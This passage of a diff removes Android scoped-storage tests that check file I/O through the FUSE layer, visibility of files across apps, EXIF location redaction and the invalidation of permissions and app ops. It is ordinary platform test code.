-                    });
-
-            fd = Os.open(filePath, createFlags, S_IRWXU);
-            try {
-                assertThat(Os.write(fd,
-                        ByteBuffer.wrap(BYTES_DATA1))).isEqualTo(BYTES_DATA1.length);
-                assertFileContent(fd, BYTES_DATA1);
-            } finally {
-                Os.close(fd);
-            }
-            // should just append the data
-            fd = Os.open(filePath, createFlags | O_APPEND, S_IRWXU);
-            try {
-                assertThat(Os.write(fd,
-                        ByteBuffer.wrap(BYTES_DATA2))).isEqualTo(BYTES_DATA2.length);
-                final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
-                assertFileContent(fd, expected);
-            } finally {
-                Os.close(fd);
-            }
-            // should overwrite everything
-            fd = Os.open(filePath, createFlags | O_TRUNC, S_IRWXU);
-            try {
-                final byte[] otherData = "this is different data".getBytes();
-                assertThat(Os.write(fd, ByteBuffer.wrap(otherData))).isEqualTo(otherData.length);
-                assertFileContent(fd, otherData);
-            } finally {
-                Os.close(fd);
-            }
-        } finally {
-            new File(filePath).delete();
-        }
-    }
-
-    /**
-     * Test that media files from other packages are only visible to apps with storage permission.
-     */
-    @Test
-    public void testListDirectoriesWithMediaFiles() throws Exception {
-        final File dcimDir = getDcimDir();
-        final File dir = new File(dcimDir, TEST_DIRECTORY_NAME);
-        final File videoFile = new File(dir, VIDEO_FILE_NAME);
-        final String videoFileName = videoFile.getName();
-        try {
-            if (!dir.exists()) {
-                assertThat(dir.mkdir()).isTrue();
-            }
-
-            assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getPath())).isTrue();
-            // App B should see TEST_DIRECTORY in DCIM and new file in TEST_DIRECTORY.
-            assertThat(listAs(APP_B_NO_PERMS, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(videoFileName);
-
-            // App A has storage permission, so should see TEST_DIRECTORY in DCIM and new file
-            // in TEST_DIRECTORY.
-            assertThat(listAs(APP_A_HAS_RES, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(APP_A_HAS_RES, dir.getPath())).containsExactly(videoFileName);
-
-            // We are an app without storage permission; should see TEST_DIRECTORY in DCIM and
-            // should not see new file in new TEST_DIRECTORY.
-            assertThat(dcimDir.list()).asList().contains(TEST_DIRECTORY_NAME);
-            assertThat(dir.list()).asList().doesNotContain(videoFileName);
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath());
-            deleteRecursively(dir);
-        }
-    }
-
-    /**
-     * Test that app can't see non-media files created by other packages
-     */
-    @Test
-    public void testListDirectoriesWithNonMediaFiles() throws Exception {
-        final File downloadDir = getDownloadDir();
-        final File dir = new File(downloadDir, TEST_DIRECTORY_NAME);
-        final File pdfFile = new File(dir, NONMEDIA_FILE_NAME);
-        final String pdfFileName = pdfFile.getName();
-        try {
-            if (!dir.exists()) {
-                assertThat(dir.mkdir()).isTrue();
-            }
-
-            // Have App B create non media file in the new directory.
-            assertThat(createFileAs(APP_B_NO_PERMS, pdfFile.getPath())).isTrue();
-
-            // App B should see TEST_DIRECTORY in downloadDir and new non media file in
-            // TEST_DIRECTORY.
-            assertThat(listAs(APP_B_NO_PERMS, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(pdfFileName);
-
-            // APP A with storage permission should see TEST_DIRECTORY in downloadDir
-            // and should not see non media file in TEST_DIRECTORY.
-            assertThat(listAs(APP_A_HAS_RES, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
-            assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath());
-            deleteRecursively(dir);
-        }
-    }
-
-    /**
-     * Test that app can only see its directory in Android/data.
-     */
-    @Test
-    public void testListFilesFromExternalFilesDirectory() throws Exception {
-        final String packageName = THIS_PACKAGE_NAME;
-        final File nonmediaFile = new File(getExternalFilesDir(), NONMEDIA_FILE_NAME);
-
-        try {
-            // Create a file in app's external files directory
-            if (!nonmediaFile.exists()) {
-                assertThat(nonmediaFile.createNewFile()).isTrue();
-            }
-            // App should see its directory and directories of shared packages. App should see all
-            // files and directories in its external directory.
-            assertDirectoryContains(nonmediaFile.getParentFile(), nonmediaFile);
-
-            // App A should not see other app's external files directory despite RES.
-            assertThrows(IOException.class,
-                    () -> listAs(APP_A_HAS_RES, getAndroidDataDir().getPath()));
-            assertThrows(IOException.class,
-                    () -> listAs(APP_A_HAS_RES, getExternalFilesDir().getPath()));
-        } finally {
-            nonmediaFile.delete();
-        }
-    }
-
-    /**
-     * Test that app can see files and directories in Android/media.
-     */
-    @Test
-    public void testListFilesFromExternalMediaDirectory() throws Exception {
-        final File videoFile = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
-
-        try {
-            // Create a file in app's external media directory
-            if (!videoFile.exists()) {
-                assertThat(videoFile.createNewFile()).isTrue();
-            }
-
-            // App should see its directory and other app's external media directories with media
-            // files.
-            assertDirectoryContains(videoFile.getParentFile(), videoFile);
-
-            // App A with storage permission should see other app's external media directory.
-            // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media
-            // directory.
-            assertThat(listAs(APP_A_HAS_RES, getAndroidMediaDir().getPath()))
-                    .contains(THIS_PACKAGE_NAME);
-            assertThat(listAs(APP_A_HAS_RES, getExternalMediaDir().getPath()))
-                    .containsExactly(videoFile.getName());
-        } finally {
-            videoFile.delete();
-        }
-    }
-
-    @Test
-    public void testMetaDataRedaction() throws Exception {
-        File jpgFile = new File(getPicturesDir(), "img_metadata.jpg");
-        try {
-            if (jpgFile.exists()) {
-                assertThat(jpgFile.delete()).isTrue();
-            }
-
-            HashMap<String, String> originalExif =
-                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
-
-            try (InputStream in =
-                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
-                 FileOutputStream out = new FileOutputStream(jpgFile)) {
-                // Dump the image we have to external storage
-                FileUtils.copy(in, out);
-                // Sync file to disk to ensure file is fully written to the lower fs attempting to
-                // open for redaction. Otherwise, the FUSE daemon might not accurately parse the
-                // EXIF tags and might misleadingly think there are not tags to redact
-                out.getFD().sync();
-
-                HashMap<String, String> exif = getExifMetadataFromFile(jpgFile);
-                assertExifMetadataMatch(exif, originalExif);
-
-                HashMap<String, String> exifFromTestApp =
-                        readExifMetadataFromTestApp(APP_A_HAS_RES, jpgFile.getPath());
-                // App does not have AML; shouldn't have access to the same metadata.
-                assertExifMetadataMismatch(exifFromTestApp, originalExif);
-
-                // TODO(b/146346138): Test that if we give APP_A write URI permission,
-                //  it would be able to access the metadata.
-            } // Intentionally keep the original streams open during the test so bytes are more
-            // likely to be in the VFS cache from both file opens
-        } finally {
-            jpgFile.delete();
-        }
-    }
-
-    @Test
-    public void testOpenFilePathFirstWriteContentResolver() throws Exception {
-        String displayName = "open_file_path_write_content_resolver.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            try (ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
-                 ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw")) {
-                assertRWR(readPfd, writePfd);
-                assertUpperFsFd(writePfd); // With cache
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverFirstWriteContentResolver() throws Exception {
-        String displayName = "open_content_resolver_write_content_resolver.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-                 ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
-                assertRWR(readPfd, writePfd);
-                assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenFilePathFirstWriteFilePath() throws Exception {
-        String displayName = "open_file_path_write_file_path.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            try (ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
-                 ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
-                assertRWR(readPfd, writePfd);
-                assertUpperFsFd(readPfd); // With cache
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverFirstWriteFilePath() throws Exception {
-        String displayName = "open_content_resolver_write_file_path.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            try (ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
-                 ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
-                assertRWR(readPfd, writePfd);
-                assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverWriteOnly() throws Exception {
-        String displayName = "open_content_resolver_write_only.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // We upgrade 'w' only to 'rw'
-            try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
-                 ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
-                assertRWR(readPfd, writePfd);
-                assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
-                assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
-                assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverDup() throws Exception {
-        String displayName = "open_content_resolver_dup.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            file.delete();
-            assertThat(file.createNewFile()).isTrue();
-
-            // Even if we close the original fd, since we have a dup open
-            // the FUSE IO should still bypass the cache
-            try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-                 ParcelFileDescriptor writePfdDup = writePfd.dup();
-                 ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
-                writePfd.close();
-
-                assertRWR(readPfd, writePfdDup);
-                assertLowerFsFdWithPassthrough(file.getPath(), writePfdDup);
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testOpenContentResolverClose() throws Exception {
-        String displayName = "open_content_resolver_close.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            byte[] readBuffer = new byte[10];
-            byte[] writeBuffer = new byte[10];
-            Arrays.fill(writeBuffer, (byte) 1);
-
-            assertThat(file.createNewFile()).isTrue();
-
-            // Lower fs open and write
-            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
-            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
-
-            // Close so upper fs open will not use direct_io
-            writePfd.close();
-
-            // Upper fs open and read without direct_io
-            try (ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
-                Os.pread(readPfd.getFileDescriptor(), readBuffer, 0, 10, 0);
-
-                // Last write on lower fs is visible via upper fs
-                assertThat(readBuffer).isEqualTo(writeBuffer);
-                assertThat(readPfd.getStatSize()).isEqualTo(writeBuffer.length);
-            }
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testContentResolverDelete() throws Exception {
-        String displayName = "content_resolver_delete.jpg";
-        File file = new File(getDcimDir(), displayName);
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            deleteWithMediaProvider(file);
-
-            assertThat(file.exists()).isFalse();
-            assertThat(file.createNewFile()).isTrue();
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    public void testContentResolverUpdate() throws Exception {
-        String oldDisplayName = "content_resolver_update_old.jpg";
-        String newDisplayName = "content_resolver_update_new.jpg";
-        File oldFile = new File(getDcimDir(), oldDisplayName);
-        File newFile = new File(getDcimDir(), newDisplayName);
-
-        try {
-            assertThat(oldFile.createNewFile()).isTrue();
-            // Publish the pending oldFile before updating with MediaProvider. Not publishing the
-            // file will make MP consider pending from FUSE as explicit IS_PENDING
-            final Uri uri = MediaStore.scanFile(getContentResolver(), oldFile);
-            assertNotNull(uri);
-
-            updateDisplayNameWithMediaProvider(uri,
-                    Environment.DIRECTORY_DCIM, oldDisplayName, newDisplayName);
-
-            assertThat(oldFile.exists()).isFalse();
-            assertThat(oldFile.createNewFile()).isTrue();
-            assertThat(newFile.exists()).isTrue();
-            assertThat(newFile.createNewFile()).isFalse();
-        } finally {
-            oldFile.delete();
-            newFile.delete();
-        }
-    }
-
-    void writeAndCheckMtime(final boolean append) throws Exception {
-        File file = new File(getDcimDir(), "update_modifies_mtime.jpg");
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-            assertThat(file.exists()).isTrue();
-
-            final long creationTime = file.lastModified();
-
-            // File should exist
-            assertNotEquals(creationTime, 0L);
-
-            // Sleep a bit more than 1 second because although
-            // File::lastModified() represents the duration in milliseconds,
-            // has 1 second precision.
-            // With lower sleep durations the test results flakey...
-            Thread.sleep(2000);
-
-            // Modification time should be the same as long the file has not
-            // been modified
-            assertEquals(creationTime, file.lastModified());
-
-            // Sleep a bit more than 1 second because although
-            // File::lastModified() represents the duration in milliseconds,
-            // has 1 second precision.
-            // With lower sleep durations the test results flakey...
-            Thread.sleep(2000);
-
-            // Assert we can write to the file
-            try (FileOutputStream fos = new FileOutputStream(file, append)) {
-                fos.write(BYTES_DATA1);
-                fos.close();
-            }
-
-            final long modificationTime = file.lastModified();
-
-            // As the file has been written, modification time should have
-            // changed
-            assertNotEquals(modificationTime, 0L);
-            assertNotEquals(modificationTime, creationTime);
-        } finally {
-            file.delete();
-        }
-    }
-
-    @Test
-    // There is a minor bug which, alghough fixed in sc-dev (aosp/1834457),
-    // cannot be propagated to the already released sc-release branche
-    // (b/234145920), where mainline-modules are tested.
-    // Skip this test in S to avoid failures in outdated targets.
-    @SdkSuppress(minSdkVersion = 33, codeName = "T")
-    public void testAppendUpdatesMtime() throws Exception {
-        writeAndCheckMtime(true);
-    }
-
-    @Test
-    public void testWriteUpdatesMtime() throws Exception {
-        writeAndCheckMtime(false);
-    }
-
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testDefaultNoIsolatedStorageFlag() throws Exception {
-        assertThat(Environment.isExternalStorageLegacy()).isFalse();
-    }
-
-    @Test
-    public void testCreateLowerCaseDeleteUpperCase() throws Exception {
-        File upperCase = new File(getDownloadDir(), "CREATE_LOWER_DELETE_UPPER");
-        File lowerCase = new File(getDownloadDir(), "create_lower_delete_upper");
-
-        createDeleteCreate(lowerCase, upperCase);
-    }
-
-    @Test
-    public void testCreateUpperCaseDeleteLowerCase() throws Exception {
-        File upperCase = new File(getDownloadDir(), "CREATE_UPPER_DELETE_LOWER");
-        File lowerCase = new File(getDownloadDir(), "create_upper_delete_lower");
-
-        createDeleteCreate(upperCase, lowerCase);
-    }
-
-    @Test
-    public void testCreateMixedCaseDeleteDifferentMixedCase() throws Exception {
-        File mixedCase1 = new File(getDownloadDir(), "CrEaTe_MiXeD_dElEtE_mIxEd");
-        File mixedCase2 = new File(getDownloadDir(), "cReAtE_mIxEd_DeLeTe_MiXeD");
-
-        createDeleteCreate(mixedCase1, mixedCase2);
-    }
-
-    @Test
-    public void testAndroidDataObbDoesNotForgetMount() throws Exception {
-        File dataDir = getContext().getExternalFilesDir(null);
-        File upperCaseDataDir = new File(dataDir.getPath().replace("Android/data", "ANDROID/DATA"));
-
-        File obbDir = getContext().getObbDir();
-        File upperCaseObbDir = new File(obbDir.getPath().replace("Android/obb", "ANDROID/OBB"));
-
-
-        StructStat beforeDataStruct = Os.stat(dataDir.getPath());
-        StructStat beforeObbStruct = Os.stat(obbDir.getPath());
-
-        assertThat(dataDir.exists()).isTrue();
-        assertThat(upperCaseDataDir.exists()).isTrue();
-        assertThat(obbDir.exists()).isTrue();
-        assertThat(upperCaseObbDir.exists()).isTrue();
-
-        StructStat afterDataStruct = Os.stat(upperCaseDataDir.getPath());
-        StructStat afterObbStruct = Os.stat(upperCaseObbDir.getPath());
-
-        assertThat(beforeDataStruct.st_dev).isEqualTo(afterDataStruct.st_dev);
-        assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
-    }
-
-    @Test
-    public void testCacheConsistencyForCaseInsensitivity() throws Exception {
-        File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
-        File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
-
-        try (ParcelFileDescriptor upperCasePfd =
-                     ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
-             ParcelFileDescriptor lowerCasePfd =
-                     ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE)) {
-
-            assertRWR(upperCasePfd, lowerCasePfd);
-            assertRWR(lowerCasePfd, upperCasePfd);
-        } finally {
-            upperCaseFile.delete();
-            lowerCaseFile.delete();
-        }
-    }
-
-    @Test
-    public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
-        final File podcastsDir = getPodcastsDir();
-        final File podcastsDirLowerCase =
-                new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
-        final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
-        try {
-            // Delete the directory if it already exists
-            if (podcastsDir.exists()) {
-                deleteRecursivelyAsLegacyApp(podcastsDir);
-            }
-            assertThat(podcastsDir.exists()).isFalse();
-            assertThat(podcastsDirLowerCase.exists()).isFalse();
-
-            // Create the directory with lower case
-            assertThat(podcastsDirLowerCase.mkdir()).isTrue();
-            // Because of case-insensitivity, even though directory is created
-            // with lower case, we should be able to see both directory names.
-            assertThat(podcastsDirLowerCase.exists()).isTrue();
-            assertThat(podcastsDir.exists()).isTrue();
-
-            // File creation with lower case path of podcasts directory should not fail
-            assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
-        } finally {
-            fileInPodcastsDirLowerCase.delete();
-            deleteRecursivelyAsLegacyApp(podcastsDirLowerCase);
-            podcastsDir.mkdirs();
-        }
-    }
-
-    private void createDeleteCreate(File create, File delete) throws Exception {
-        try {
-            assertThat(create.createNewFile()).isTrue();
-            // Wait for the kernel to update the dentry cache.
-            Thread.sleep(100);
-
-            assertThat(delete.delete()).isTrue();
-            // Wait for the kernel to clean up the dentry cache.
-            Thread.sleep(100);
-
-            assertThat(create.createNewFile()).isTrue();
-            // Wait for the kernel to update the dentry cache.
-            Thread.sleep(100);
-        } finally {
-            create.delete();
-            delete.delete();
-        }
-    }
-
-    @Test
-    public void testReadStorageInvalidation() throws Exception {
-        if (SdkLevel.isAtLeastT()) {
-            testAppOpInvalidation(
-                    APP_C,
-                    new File(getDcimDir(), "read_storage.jpg"),
-                    Manifest.permission.READ_MEDIA_IMAGES,
-                    AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
-                    /* forWrite */ false);
-        } else {
-            testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
-                    Manifest.permission.READ_EXTERNAL_STORAGE,
-                    AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
-        }
-    }
-
-    @Test
-    public void testWriteStorageInvalidation() throws Exception {
-        testAppOpInvalidation(APP_C_LEGACY, new File(getDcimDir(), "write_storage.jpg"),
-                Manifest.permission.WRITE_EXTERNAL_STORAGE,
-                AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, /* forWrite */ true);
-    }
-
-    @Test
-    public void testManageStorageInvalidation() throws Exception {
-        testAppOpInvalidation(APP_C, new File(getDownloadDir(), "manage_storage.pdf"),
-                /* permission */ null, OPSTR_MANAGE_EXTERNAL_STORAGE, /* forWrite */ true);
-    }
-
-    @Test
-    public void testWriteImagesInvalidation() throws Exception {
-        testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_images.jpg"),
-                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
-    }
-
-    @Test
-    public void testWriteVideoInvalidation() throws Exception {
-        testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_video.mp4"),
-                /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
-    }
-
-    @Test
-    public void testAccessMediaLocationInvalidation() throws Exception {
-        File imgFile = new File(getDcimDir(), "access_media_location.jpg");
-
-        try {
-            // Setup image with sensitive data on external storage
-            HashMap<String, String> originalExif =
-                    getExifMetadataFromRawResource(R.raw.img_with_metadata);
-            try (InputStream in =
-                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
-                 FileOutputStream out = new FileOutputStream(imgFile)) {
-                // Dump the image we have to external storage
-                FileUtils.copy(in, out);
-                // Sync file to disk to ensure file is fully written to the lower fs.
-                out.getFD().sync();
-            }
-            HashMap<String, String> exif = getExifMetadataFromFile(imgFile);
-            assertExifMetadataMatch(exif, originalExif);
-
-            // Install test app
-            installAppWithStoragePermissions(APP_C);
-
-            // Grant A_M_L and verify access to sensitive data
-            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            pollForPermission(APP_C.getPackageName(),
-                    Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ true);
-            HashMap<String, String> exifFromTestApp =
-                    readExifMetadataFromTestApp(APP_C, imgFile.getPath());
-            assertExifMetadataMatch(exifFromTestApp, originalExif);
-
-            // Revoke A_M_L and verify sensitive data redaction
-            revokePermission(
-                    APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            // revokePermission waits for permission status to be updated, but MediaProvider still
-            // needs to get permission change callback and clear its permission cache.
-            pollForPermission(APP_C.getPackageName(),
-                    Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ false);
-            Thread.sleep(500);
-            exifFromTestApp = readExifMetadataFromTestApp(APP_C, imgFile.getPath());
-            assertExifMetadataMismatch(exifFromTestApp, originalExif);
-
-            // Re-grant A_M_L and verify access to sensitive data
-            grantPermission(APP_C.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
-            // grantPermission waits for permission status to be updated, but MediaProvider still
-            // needs to get permission change callback and clear its permission cache.
-            pollForPermission(APP_C.getPackageName(),
-                    Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ true);
-            Thread.sleep(500);
-            exifFromTestApp = readExifMetadataFromTestApp(APP_C, imgFile.getPath());
-            assertExifMetadataMatch(exifFromTestApp, originalExif);
-        } finally {
-            imgFile.delete();
-            uninstallAppNoThrow(APP_C);
-        }
-    }
-
-    @Test
-    public void testAppUpdateInvalidation() throws Exception {
-        File file = new File(getDcimDir(), "app_update.jpg");
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // Install legacy
-            installAppWithStoragePermissions(APP_C_LEGACY);
-            grantPermission(APP_C_LEGACY.getPackageName(),
-                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
-
-            // Legacy app can read and write media files contributed by others
-            assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ false)).isTrue();
-            assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ true)).isTrue();
-
-            // Update to non-legacy
-            installAppWithStoragePermissions(APP_C);
-            grantPermission(APP_C_LEGACY.getPackageName(),
-                    Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
-
-            // Non-legacy app can read media files contributed by others
-            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isTrue();
-            // But cannot write
-            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ true)).isFalse();
-        } finally {
-            file.delete();
-            uninstallAppNoThrow(APP_C);
-        }
-    }
-
-    @Test
-    public void testAppReinstallInvalidation() throws Exception {
-        File file = new File(getDcimDir(), "app_reinstall.jpg");
-
-        try {
-            assertThat(file.createNewFile()).isTrue();
-
-            // Install
-            installAppWithStoragePermissions(APP_C);
-            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isTrue();
-
-            // Re-install
-            uninstallAppNoThrow(APP_C);
-            installApp(APP_C);
-            assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isFalse();
-        } finally {
-            file.delete();
-            uninstallAppNoThrow(APP_C);
-        }
-    }
-
-    private void testAppOpInvalidation(TestApp app, File file, @Nullable String permission,
-            String opstr, boolean forWrite) throws Exception {
-        boolean alreadyInstalled = true;
-        try {
-            if (!isAppInstalled(app)) {
-                alreadyInstalled = false;
-                installApp(app);
-            }
-            assertThat(file.createNewFile()).isTrue();
-            assertAppOpInvalidation(app, file, permission, opstr, forWrite);
-        } finally {
-            file.delete();
-            if (!alreadyInstalled) {
-                // only uninstall if we installed this app here
-                uninstallApp(app);
-            }
-        }
-    }
-
-    /** If {@code permission} is null, appops are flipped, otherwise permissions are flipped */
-    private void assertAppOpInvalidation(TestApp app, File file, @Nullable String permission,
-            String opstr, boolean forWrite) throws Exception {
-        String packageName = app.getPackageName();
-        int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
-
-        // Deny
-        if (permission != null) {
-            revokePermission(packageName, permission);
-        } else {
-            denyAppOpsToUid(uid, opstr);
-            // TODO(191724755): Poll for AppOp state change instead
-            Thread.sleep(200);
-        }
-        assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
-
-        // Grant
-        if (permission != null) {
-            grantPermission(packageName, permission);
-        } else {
-            allowAppOpsToUid(uid, opstr);
-            // TODO(191724755): Poll for AppOp state change instead
-            Thread.sleep(200);
-        }
-        assertThat(canOpenFileAs(app, file, forWrite)).isTrue();
-        // Deny
-        if (permission != null) {
-            revokePermission(packageName, permission);
-        } else {
-            denyAppOpsToUid(uid, opstr);
-            // TODO(191724755): Poll for AppOp state change instead
-            Thread.sleep(200);
-        }
-        assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
-    }
-
-    @Test
-    @SdkSuppress(minSdkVersion = 31, codeName = "S")
-    public void testDisableOpResetForSystemGallery() throws Exception {
-        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
-        final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
-
-        try {
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create an image file
-            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
-            assertThat(otherAppImageFile.exists()).isTrue();
-
-            // Have another app create a video file
-            assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
-            assertThat(otherAppVideoFile.exists()).isTrue();
-
-            assertCanWriteAndRead(otherAppImageFile, BYTES_DATA1);
-            assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA1);
-
-            // Reset app op should not reset System Gallery privileges
-            executeShellCommand("appops reset " + THIS_PACKAGE_NAME);
-
-            // Assert we can still write to images/videos
-            assertCanWriteAndRead(otherAppImageFile, BYTES_DATA2);
-            assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA2);
-
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
-            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
-        final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
-        final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
-        final File imageInAnObviouslyWrongPlace = new File(getMusicDir(), IMAGE_FILE_NAME);
-
-        try {
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create an image file
-            assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
-            assertThat(otherAppImageFile.exists()).isTrue();
-
-            // Assert we can write to the file
-            try (FileOutputStream fos = new FileOutputStream(otherAppImageFile)) {
-                fos.write(BYTES_DATA1);
-            }
-
-            // Assert we can read from the file
-            assertFileContent(otherAppImageFile, BYTES_DATA1);
-
-            // Assert has access to redacted information
-            RedactionTestHelper.assertConsistentNonRedactedAccess(otherAppImageFile,
-                    R.raw.img_with_metadata);
-
-            // Assert we can delete the file
-            assertThat(otherAppImageFile.delete()).isTrue();
-            assertThat(otherAppImageFile.exists()).isFalse();
-
-            // Can create an image anywhere
-            assertCanCreateFile(topLevelImageFile);
-            assertCanCreateFile(imageInAnObviouslyWrongPlace);
-
-            // Put the file back in its place and let APP B delete it
-            assertThat(otherAppImageFile.createNewFile()).isTrue();
-        } finally {
-            deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
-            otherAppImageFile.delete();
-            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-        }
-    }
-
-    @Test
-    public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
-        final File otherAppAudioFile = new File(getMusicDir(), "other_" + AUDIO_FILE_NAME);
-        final File topLevelAudioFile = new File(getExternalStorageDir(), AUDIO_FILE_NAME);
-        final File audioInAnObviouslyWrongPlace = new File(getPicturesDir(), AUDIO_FILE_NAME);
-
-        try {
-            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
-
-            // Have another app create an audio file
